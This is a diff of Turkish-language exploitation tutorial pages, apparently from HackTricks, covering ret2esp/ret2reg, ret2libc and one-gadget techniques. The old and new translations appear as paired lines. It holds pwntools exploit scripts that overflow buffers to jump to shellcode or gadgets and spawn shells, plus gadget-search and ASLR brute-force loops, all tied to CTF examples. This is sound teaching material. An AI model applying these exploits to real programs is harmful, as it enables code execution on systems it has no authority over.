**ESP (Yığın İşaretçisi) her zaman yığının en üstüne işaret ettiği için**, bu teknik, EIP'yi (Komut İşaretçisi) bir **`jmp esp`** veya **`call esp`** komutunun adresiyle değiştirerek çalışır. Bunu yaparak, shellcode, üzerine yazılan EIP'nin hemen ardına yerleştirilir. `ret` komutu çalıştığında, ESP bir sonraki adrese işaret eder, tam olarak shellcode'un depolandığı yer.
Eğer **Adres Alanı Düzeni Rastgeleleştirme (ASLR)** Windows veya Linux'ta etkin değilse, paylaşılan kütüphanelerde bulunan `jmp esp` veya `call esp` komutlarını kullanmak mümkündür. Ancak, [**ASLR**](../common-binary-protections-and-bypasses/aslr/) etkinse, bu komutları bulmak için muhtemelen savunmasız programın kendisine bakmanız gerekebilir (ve [**PIE**](../common-binary-protections-and-bypasses/pie/) karşısında başarılı olmanız gerekebilir).
Eğer Windows veya Linux'ta **Adres Alanı Düzeni Rastgeleleştirme (ASLR)** etkin değilse, paylaşılan kütüphanelerde bulunan `jmp esp` veya `call esp` komutlarını kullanmak mümkündür. Ancak, [**ASLR**](../common-binary-protections-and-bypasses/aslr/) etkinse, bu komutları bulmak için savunmasız programın kendisine bakmak gerekebilir (ve [**PIE**](../common-binary-protections-and-bypasses/pie/) engelini aşmanız gerekebilir).
Ayrıca, shellcode'u **EIP bozulmasından sonra** yerleştirebilmek, yığının ortasına değil, işlevin işlemi sırasında yürütülen herhangi bir `push` veya `pop` komutunun shellcode ile etkileşime girmesini önler. Bu tür bir etkileşim, shellcode yığının işlevin ortasına yerleştirilmiş olsaydı meydana gelebilirdi.
Ayrıca, shellcode'u **EIP bozulmasından sonra** yerleştirebilmek, yığının ortasına değil, EIP'nin üzerine yerleştirmek, işlevin çalışması sırasında gerçekleşen herhangi bir `push` veya `pop` komutunun shellcode ile etkileşime girmesini önler. Bu etkileşim, shellcode yığının ortasına yerleştirilmiş olsaydı meydana gelebilirdi.
### Yetersiz alan
@ -29,11 +30,9 @@ Eğer RIP üzerine yazdıktan sonra yazacak alanınız yoksa (belki sadece birka
sub rsp, 0x30
jmp rsp
```
Ve kabuğu erken yığın üzerine yazın.
### Örnek
Bu teknik örneğini [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp) adresinde bulabilirsiniz ve son saldırı şu şekildedir:
Bu teknikle ilgili bir örnek [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp) adresinde bulunabilir ve son saldırı şu şekildedir:
```python
from pwn import *
@ -53,7 +52,7 @@ pause()
p.sendlineafter('RSP!\n', payload)
p.interactive()
```
Bu teknikle ilgili başka bir örneği [https://guyinatuxedo.github.io/17-stack\_pivot/xctf16\_b0verflow/index.html](https://guyinatuxedo.github.io/17-stack\_pivot/xctf16\_b0verflow/index.html) adresinde görebilirsiniz. NX etkin olmayan bir taşma durumu var, `$esp` adresini azaltmak için bir araç kullanıldı ve ardından bir `jmp esp;` ile kabuk koduna atlandı:
Başka bir örneğini bu teknikte görebilirsiniz [https://guyinatuxedo.github.io/17-stack\_pivot/xctf16\_b0verflow/index.html](https://guyinatuxedo.github.io/17-stack\_pivot/xctf16\_b0verflow/index.html). NX etkin olmayan bir taşma durumu var, `$esp` adresini azaltmak için bir araç kullanıldı ve ardından bir `jmp esp;` ile kabuk koduna atlandı:
```python
# From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html
from pwn import *
@ -104,7 +103,7 @@ Bazı örnekleri burada bulabilirsiniz:&#x20;
### Ret2sp
ARM64'te **SP kaydına atlamaya izin veren** komutlar yoktur. **Sp'yi bir kayda taşıyıp ardından o kayda atlamayı sağlayan** bir aygıt bulunabilir, ancak benim kali libc'mde böyle bir aygıt bulamadım:
ARM64'te **SP kaydına atlamaya izin veren** komutlar yoktur. **Sp'yi bir kayda taşıyıp ardından o kayda atlamayı sağlayan bir aygıt** bulunabilir, ancak benim kali libc'mde böyle bir aygıt bulamadım:
```bash
for i in `seq 1 30`; do
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
@ -112,13 +111,13 @@ done
```
{% endcode %}
Keşfettiğim tek şey, sp'nin kopyalandığı kayıt değerini değiştirecek ve ardından ona atlamadan önce (bu nedenle işe yaramaz hale gelecektir):
Sadece keşfettiğim tek şey, sp'nin kopyalandığı kaydın değerini değiştirecek ve ardından ona atlamak (bu nedenle işe yaramaz hale gelecektir):
<figure><img src="../../.gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
### Ret2reg
Bir kaydın ilginç bir adresi varsa, uygun talimatı bulmak yeterli olacaktır. Şöyle bir şey kullanabilirsiniz:
Eğer bir kayıt ilginç bir adres içeriyorsa, uygun talimatı bulmak yeterli olacaktır. Şöyle bir şey kullanabilirsiniz:
{% code overflow="wrap" %}
```bash
@ -153,15 +152,15 @@ do_stuff(2)
return 0;
}
```
Fonksiyonun ayrıştırmasını kontrol etmek, **taşma ve kullanıcı tarafından kontrol edilen** **tamponun adresinin `x0`'da saklandığını** görmek mümkündür:
Fonksiyonun ayrıştırmasını kontrol etmek, **tamponun adresinin** (bof'a duyarlı ve **kullanıcı tarafından kontrol edilen**) **tampon taşmasından dönmek önce `x0`'da saklandığını** görmek mümkündür:
<figure><img src="../../.gitbook/assets/image (1225).png" alt="" width="563"><figcaption></figcaption></figure>
Ayrıca **`do_stuff`** fonksiyonunda **`br x0`** adlı araca rastlamak mümkündür:
Ayrıca **`do_stuff`** fonksiyonunda **`br x0`** cihazını bulmak mümkündür:
<figure><img src="../../.gitbook/assets/image (1226).png" alt="" width="563"><figcaption></figcaption></figure>
Binary **PIE OLMADAN derlendiği** için bu araca atlamak için bu aracı kullanacağız. Bir desen kullanarak **taşma ofsetinin 80 olduğu** görülebilir, bu nedenle saldırı şu şekilde olacaktır:
**PIE OLMADAN derlendiği** için, bu cihazı kullanacağız. Desen kullanarak **tampon taşmasının ofsetinin 80 olduğu** görülebilir, bu yüzden saldırı şöyle olacaktır:
```python
from pwn import *
@ -177,29 +176,31 @@ p.sendline(payload)
p.interactive()
```
{% hint style="warning" %}
Eğer `fgets` yerine **`read`** gibi bir şey kullanılsaydı, PIE'yi atlamak sadece return adresinin son 2 byte'ını üzerine yazarak `br x0;` komutuna dönüş yaparak mümkün olurdu, tam adresi bilmeye gerek kalmadan. `fgets` ile çalışmaz çünkü **sona bir null (0x00) byte ekler**.
Eğer `fgets` yerine **`read`** gibi bir şey kullanılsaydı, `br x0;` komutuna geri dönmek için **dönüş adresinin sadece son 2 byte'ını üzerine yazarak PIE'yi atlayabilir** ve tam adresi bilmeye gerek kalmazdı.\
`fgets` ile çalışmaz çünkü **sona bir null (0x00) byte ekler**.
{% endhint %}
## Korumalar
* [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): Stack çalıştırılamazsa, kabuk kodunu stack'e yerleştirmemiz ve çalıştırmamız gerektiği için bu işe yaramaz.
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): Bu komutlar, esp veya başka bir kayda atlamak için bir komut bulmayı zorlaştırabilir.
* [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): Yığın yürütülemezse, kabuk kodunu yığına yerleştirmemiz ve yürütmek için atlamamız gerektiği için bu işe yaramaz.
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): Bu komut, esp veya başka bir kayda atlanacak bir komut bulmayı zorlaştırabilir.
## Referanslar
* [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode)
* [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp)
{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking hilelerinizi paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}

View file

@ -1,31 +1,32 @@
# Ret2lib
{% hint style="success" %}
AWS Hacking'ı öğrenin ve uygulayın: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitimi AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'ı öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitimi GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks'ı Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarını paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}
## **Temel Bilgiler**
**Ret2Libc**'nin özü, zayıf bir programın yürütme akışını, saldırgan tarafından sağlanan shellcode'un yığında yürütülmesi yerine, paylaşılan bir kütüphane içindeki bir işlevine yönlendirmektir (örneğin, **system**, **execve**, **strcpy**). Saldırgan, geri dönüş adresini değiştiren bir yük oluşturur ve yığında istenen kütüphane işlevine işaret edecek şekilde ayarlar, aynı zamanda çağrı konvansiyonuna göre gerekli argümanların da doğru şekilde ayarlanmasını sağlar.
**Ret2Libc**'nin özü, zayıf bir programın yürütme akışını, saldırgan tarafından sağlanan shellcode'ın yığında yürütülmesi yerine, paylaşılan bir kütüphane içindeki bir işlevine yönlendirmektir (örneğin, **system**, **execve**, **strcpy**). Saldırgan, geri dönüş adresini değiştiren bir yük oluşturur ve yığında istenen kütüphane işlevine işaret ederken, aynı zamanda çağrı konvansiyonuna göre doğru şekilde ayarlanmış herhangi gerekli argümanın da olmasını sağlar.
### **Örnek Adımlar (basitleştirilmiş)**
* Çağrılacak işlevin adresini alın (örneğin, system) ve çağrılacak komutu alın (örneğin, /bin/sh)
* Çağrılacak işlevin adresini alın (örneğin, system) ve çağrılacak komutu (örneğin, /bin/sh)
* İlk argümanı komut dizinine işaret edecek şekilde ve yürütme akışını işleve geçirecek şekilde ROP zinciri oluşturun
## Adresleri Bulma
* Kullanılan `libc`'nin mevcut makineden olduğunu varsayarsak, nerede bellekte yükleneceğini aşağıdaki komutla bulabilirsiniz:
* Kullanılan `libc`'nin mevcut makineden olanın nerede bellekte yükleneceğini aşağıdaki komutla bulabilirsiniz:
{% code overflow="wrap" %}
```bash
@ -33,7 +34,7 @@ ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change eve
```
{% endcode %}
Eğer ASLR'nin libc adresini değiştirip değiştirmediğini kontrol etmek istiyorsanız şunu yapabilirsiniz:
Eğer ASLR'ın libc adresini değiştirip değiştirmediğini kontrol etmek istiyorsanız şunu yapabilirsiniz:
```bash
for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
```
@ -47,7 +48,7 @@ strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
```
### gdb-peda / GEF Kullanımı
Kullanılan libc bilindiğinde, Peda veya GEF kullanılarak **system** fonksiyonunun, **exit** fonksiyonunun ve **`/bin/sh`** dizesinin adresini elde etmek de mümkündür:
Kullanılan libc bilindiğinde, **system** fonksiyonunun, **exit** fonksiyonunun ve **`/bin/sh`** dizesinin adresini almak için Peda veya GEF kullanmak da mümkündür:
```bash
p system
p exit
@ -55,23 +56,23 @@ find "/bin/sh"
```
### /proc/\<PID>/maps Kullanımı
Eğer işlem her konuştuğunuzda (ağ sunucusu) **çocuklar** oluşturuyorsa, o dosyayı **okumaya** çalışın (muhtemelen root olmanız gerekecektir).
Eğer işlem her seferinde sizinle iletişim kurduğunda (**network server**), o dosyayı **okumaya** çalışın (muhtemelen root olmanız gerekecektir).
Burada işlem içinde **libc'nin tam olarak nerede yüklendiğini** ve işlemin her çocuğu için **nerede yükleneceğini** bulabilirsiniz.
![](<../../../.gitbook/assets/image (853).png>)
Bu durumda **0xb75dc000** adresine yüklendi (Bu libc'nin taban adresi olacaktır)
Bu durumda **0xb75dc000** adresine yüklendi (Bu, libc'nin taban adresi olacaktır)
## Bilinmeyen libc
Binary'nin yüklediği libc'yi **bilmediğiniz olabilir** (çünkü erişiminiz olmayan bir sunucuda olabilir). Bu durumda zafiyeti **sızdırmak için kullanabilir ve hangi libc** kütüphanesinin kullanıldığını bulabilirsiniz:
Binary'nin yüklediği libc'yi **bilmediğiniz** olabilir (çünkü erişiminiz olmayan bir sunucuda olabilir). Bu durumda, zafiyeti **bazı adresleri sızdırarak ve hangi libc** kütüphanesinin kullanıldığını bulabilirsiniz:
{% content-ref url="rop-leaking-libc-address/" %}
[rop-leaking-libc-address](rop-leaking-libc-address/)
{% endcontent-ref %}
Ve bunun için bir pwntools şablonunu bulabilirsiniz:
Ve bunun için bir pwntools şablonunu şurada bulabilirsiniz:
{% content-ref url="rop-leaking-libc-address/rop-leaking-libc-template.md" %}
[rop-leaking-libc-template.md](rop-leaking-libc-address/rop-leaking-libc-template.md)
@ -81,19 +82,19 @@ Ve bunun için bir pwntools şablonunu bulabilirsiniz:
[https://libc.blukat.me/](https://libc.blukat.me/) sayfasını kontrol edin ve libc içindeki fonksiyonların **bir çift adresini** kullanarak **kullanılan sürümü** bulun.
## 32 bit ASLR'yi Atlatma
## 32 bit ASLR'yi atlatma
Bu brute-force saldırıları **yalnızca 32 bit sistemler için** kullanışlıdır.
Bu kaba kuvvet saldırıları **yalnızca 32 bit sistemler** için kullanışlıdır.
* Saldırı yerel ise, libc'nin taban adresini brute-force etmeyi deneyebilirsiniz (32 bit sistemler için kullanışlıdır):
* Saldırı yerel ise, libc'nin taban adresini kaba kuvvetle deneyebilirsiniz (32 bit sistemler için kullanışlıdır):
```python
for off in range(0xb7000000, 0xb8000000, 0x1000):
```
* Uzak bir sunucuyu hedef alıyorsanız, `libc` fonksiyonu `usleep`'in adresini **10** (örneğin) argümanı olarak geçerek **brute-force** yöntemini deneyebilirsiniz. Eğer sunucu **cevap vermek için 10 saniye daha fazla zaman alıyorsa**, bu fonksiyonun adresini buldunuz demektir.
* Uzak bir sunucuyu hedef alıyorsanız, `libc` fonksiyonu `usleep`'in adresini **10** (örneğin) argümanı olarak geçerek **brute-force** yöntemini deneyebilirsiniz. Eğer sunucu cevap vermek için **10 saniye daha fazla zaman alıyorsa**, bu fonksiyonun adresini buldunuz demektir.
## Tek Gadget
`libc` içinde **belirli bir adrese** sadece atlayarak bir kabuk çalıştırın:
Yalnızca **bir** belirli **adrese** atlayarak bir kabuk çalıştırın libc içinde:
{% content-ref url="one-gadget.md" %}
[one-gadget.md](one-gadget.md)
@ -139,11 +140,11 @@ Ayrıca ARM64'te bir komut, ne yapması gerekiyorsa onu yapar (komutların ortas
## Printf'e Ret
Bu, `printf`/`puts`'ı belirli bir veriyle bir argüman olarak çağırarak işlemdeki bilgileri sızdırmayı sağlar. Örneğin, GOT'taki `puts` adresini `puts`'ın bir yürütülmesine yerleştirmek, bellekteki `puts` adresini sızdıracaktır.
Bu, `printf`/`puts`'ı belirli bir veriyle bir argüman olarak çağırarak işlemdeki bilgileri sızdırmayı sağlar. Örneğin, GOT'taki `puts` adresini bir `puts` çalıştırmasına yerleştirmek, bellekteki `puts` adresini sızdıracaktır.
## Ret2printf
Bu temelde, bir `Ret2lib`'i kullanarak bir `printf` format dizesi güvenlik açığına dönüştürmek anlamına gelir, `ret2lib`'i kullanarak onu sömürmek için `printf`'i çağırmak ve sömürmek için değerlerle kullanmak (anlamsız görünse de mümkündür):
Bu temelde bir `Ret2lib`'i `printf` format dizesi açığına dönüştürmek için `ret2lib`'i kullanarak `printf`'i çağırmak ve sömürmek için değerlerle kullanmaktır (anlamsız gibi görünse de mümkündür):
{% content-ref url="../../format-strings/" %}
[format-strings](../../format-strings/)
@ -154,12 +155,12 @@ Bu temelde, bir `Ret2lib`'i kullanarak bir `printf` format dizesi güvenlik aç
* [https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html)
* Ret2lib, libc'teki bir işlevin adresine sızıntı verildiğinde, tek bir araç kullanarak
* [https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html)
* 64 bit, ASLR etkin ancak PIE etkin değil, ilk adım bir taşma oluşturup canary'nin 0x00 baytına kadar doldurmak ve ardından puts'u çağırıp sızdırmaktır. Canary ile puts'un GOT'tan adresini sızdırmak için bir ROP aracı oluşturulur ve ardından `/bin/sh` adresiyle `system('/bin/sh')` çağırmak için bir ROP aracı oluşturulur.
* 64 bit, ASLR etkin ancak PIE yok, ilk adım bir taşma oluşturup canary'nin 0x00 baytına kadar doldurmak ve ardından puts'u çağırıp sızdırmaktır. Canary ile puts'un GOT'tan adresini sızdırmak için bir ROP aracı oluşturulur ve ardından `/bin/sh` adresiyle `system('/bin/sh')` çağırmak için bir ROP aracı oluşturulur.
* [https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html)
* 64 bit, ASLR etkin, canary yok, ana fonksiyonda bir çocuk fonksiyonundan yığın taşması. Puts'u çağırmak için ROP aracı oluşturup GOT'tan puts'un adresini sızdırmak ve ardından bir ROP aracı çağırmak için ROP aracı oluşturulur.
* 64 bit, ASLR etkin, canary yok, ana fonksiyonda bir çocuk fonksiyondan yığın taşması. Puts'u çağırmak için ROP aracı oluşturup GOT'tan puts'un adresini sızdırmak ve ardından bir araç çağırmak.
* [https://guyinatuxedo.github.io/08-bof\_dynamic/hs19\_storytime/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/hs19\_storytime/index.html)
* 64 bit, pie yok, canary yok, relro yok, nx. Write işlevini kullanarak write (libc) adresini sızdırmak ve bir araç çağırmak için kullanır.
* 64 bit, pie yok, canary yok, relro yok, nx. Write işlevini kullanarak write'un adresini (libc) sızdırmak ve tek bir araç çağırmak için kullanır.
* [https://guyinatuxedo.github.io/14-ret\_2\_system/asis17\_marymorton/index.html](https://guyinatuxedo.github.io/14-ret\_2\_system/asis17\_marymorton/index.html)
* Stack'ten canary'yi sızdırmak için bir format dizesi kullanır ve bir taşma oluşturarak system'i (GOT'ta) `/bin/sh` adresiyle çağırmak için bir araç oluşturur.
* Yığın üzerinden canary'yi sızdırmak için bir format dizesi kullanır ve sistem çağrısına (GOT'ta) `/bin/sh` adresiyle birlikte bir taşma oluşturmak için bir aşırı taşma kullanır.
* [https://guyinatuxedo.github.io/14-ret\_2\_system/tu\_guestbook/index.html](https://guyinatuxedo.github.io/14-ret\_2\_system/tu\_guestbook/index.html)
* 32 bit, relro yok, canary yok, nx, pie. Bir sızıntı oluşturmak için kötü bir dizinlemeyi kötüye kullanır ve yığından libc ve heap adreslerini sızdırmak için kötüye kullanır. Buffer taşmasını kötüye kullanarak `system('/bin/sh')` çağırmak için ret2lib yapar (bir kontrolü atlamak için heap adresine ihtiyaç vardır).
* 32 bit, relro yok, canary yok, nx, pie. Bir kötü dizinlemeyi kötüye kullanarak yığından libc ve heap adreslerini sızdırmak. Bir taşma oluşturmak için bir ROP aracı kullanarak `system('/bin/sh')` çağrısı yapar (bir kontrolü atlamak için heap adresine ihtiyaç vardır).

View file

@ -1,23 +1,24 @@
# Tek Gadget
{% hint style="success" %}
AWS Hacking öğrenin ve uygulayın: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin!</summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**]'yi keşfedin, özel [**NFT'ler**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da **takip edin**.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **HackTricks** ve **HackTricks Cloud** github depolarına PR göndererek hackleme püf noktalarını paylaşın.
</details>
{% endhint %}
## Temel Bilgiler
[**Tek Gadget**](https://github.com/david942j/one\_gadget), **system** ve **"/bin/sh"** kullanmak yerine kabuk elde etmeyi sağlar. **Tek Gadget**, sadece bir **adres** kullanarak bir kabuk (`execve("/bin/sh")`) elde etmek için libc kütüphanesinde bir yol bulacaktır.\
Ancak genellikle bazı kısıtlamalar vardır, en yaygın olanlarından ve kolayca kaçınılabilecek olanlarından biri `[rsp+0x30] == NULL` gibi. **RSP** içindeki değerleri kontrol ettiğinizden, kısıtlamayı önlemek için sadece daha fazla NULL değeri göndermeniz yeterlidir.
Ancak genellikle bazı kısıtlamalar vardır, en yaygın olanları ve kolayca kaçınılabilecek olanlar `[rsp+0x30] == NULL` gibi. **RSP** içindeki değerleri kontrol ettiğinizden, sadece daha fazla NULL değeri göndererek kısıtlamayı önleyebilirsiniz.
![](<../../../.gitbook/assets/image (754).png>)
```python
@ -36,23 +37,24 @@ Github deposu, **ARM64'ün desteklendiğini** belirtiyor, ancak Kali 2023.3'ün
## Kızgın Gadget
[**Github deposu**](https://github.com/ChrisTheCoolHut/angry\_gadget)'ndan: [OneGadget](https://github.com/david942j/one\_gadget)'den esinlenerek, bu araç python dilinde yazılmıştır ve `execve('/bin/sh', NULL, NULL)` komutunu yürüten gadget'lar için kısıtlamaları test etmek için [angr](https://github.com/angr/angr) kullanır.\
[**Github deposu**](https://github.com/ChrisTheCoolHut/angry\_gadget)'ndan: [OneGadget](https://github.com/david942j/one\_gadget)'den ilham alınarak bu araç python dilinde yazılmıştır ve `execve('/bin/sh', NULL, NULL)` komutunu yürüten gadget'lar için kısıtlamaları test etmek için [angr](https://github.com/angr/angr) kullanır.\
One Gadget'dan denemek için gadget'larınız tükendiğinde, Kızgın Gadget karmaşık kısıtlamalarla daha fazlasını sunar!
```bash
pip install angry_gadget
angry_gadget.py examples/libc6_2.23-0ubuntu10_amd64.so
```
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}

View file

@ -1,24 +1,25 @@
# Ret2vDSO
{% hint style="success" %}
